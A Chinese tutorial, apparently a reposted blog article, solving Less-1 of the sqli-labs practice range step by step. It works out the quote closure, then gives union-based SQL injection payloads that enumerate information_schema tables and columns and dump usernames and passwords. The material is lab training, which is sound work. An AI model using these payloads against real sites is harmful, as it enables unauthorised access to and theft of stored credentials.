当前位置: 首页 > article >正文

sql-labs靶场 less-1

文章目录

  • sqli-labs靶场
    • less 1 联合注入


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 1 联合注入

  • 题目类型: 字符型 '(单引号) 闭合
  • 先判断注入类型

id=1
回显正常

在这里插入图片描述

id=1/0
回显内容和 id=1 一样,说明1/0没报错,不是数字型注入,那就是字符型 (或者用id=1与id=2-1 / id=2/2)

在这里插入图片描述

  • 判断闭合方式

已知是字符型注入
id=1’
sql语法报错,说明大概率是单引号闭合

在这里插入图片描述

id=1’ ’
回显正常

在这里插入图片描述

id=1’ ’ ’
sql语法报错

在这里插入图片描述

id=1’ ’ ’ ’
4个单引号,回显正常,呈规律性变化,说明闭合方式是单引号

在这里插入图片描述

  • 数据有回显,可利用联合注入,需判断字段数回显位

id=1’ order by 4 --+
报错:表中没有列名为‘4’的字段 (说明不存在第4列)
为什么使用order by判断字段数? 因为order by的作用是对某一列排序,如果报错,说明不存在此列
例如(id,username,password)
order by username 等同于 order by 2 (表示对第二列字段名为username排序 )

在这里插入图片描述

id=1’ order by 3 --+
回显正常,说明该表的字段数为3列 (因为第4列不存在,所以该表的字段数为3)

在这里插入图片描述

  • 使用联合注入,需判断回显位

id=1’ union select 1,2,3–+
为什么没有回显1,2,3?

在这里插入图片描述

id=-1’ union select 1,2,3–+
联合注入后,返回的结果有多行,但是该页面只回显第一行,所以id = -1 让第一行数据不存在,变向把原本处于第二行的数据移动到第一行 (或者 id=’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+ )
并且可以看到回显位是第2,3列

在这里插入图片描述

id=’ union select 1,database(),user()–+
猜解数据库名

在这里插入图片描述

  • 初始化安装mysql数据库后, 会默认创建4个系统数据库:
    在这里插入图片描述

id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“security” --+
通过系统数据库information_schema猜解表名

在这里插入图片描述

id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” --+
猜解字段名

在这里插入图片描述

id=-1’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
爆出数据

在这里插入图片描述


http://www.kler.cn/a/613699.html

相关文章:

  • hadoop客户端环境准备
  • Linux Shell 脚本使用YAD工具实现Shell图形化界面
  • SpringSecurity过滤器链:核心过滤器的执行顺序与职责
  • spring security设置多个数据源和登录验证码
  • 故障识别 | 基于改进螂优化算法(MSADBO)优化变分模态提取(VME)结合稀疏最大谐波噪声比解卷积(SMHD)进行故障诊断识别,matlab代码
  • MySQL Explain 分析 SQL 执行计划
  • 数据设计(范式、步骤)
  • 2025跳槽学习计划
  • 速卖通历史价格数据获取:API合规调用与爬虫方案风险对比
  • Maven版本统一管理
  • Cursor生成的UI太丑?如何减少UI拉扯?
  • WEB或移动端常用交互元素及组件 | Axure / 元件类型介绍(表单元件、菜单和表格 、流程元件、标记元件)
  • 一文详解k8s体系架构知识
  • 【Kafka】Kafka4.0在windows上启动
  • Android 蓝牙/Wi-Fi通信协议之:经典蓝牙(BT 2.1/3.0+)介绍
  • STM32 IIC通信
  • uWebSockets开发入门
  • ZW3D二次开发_非模板表单_创建
  • C#TCP通讯封装服务器工具类
  • Dify 0.15.3版本 本地部署指南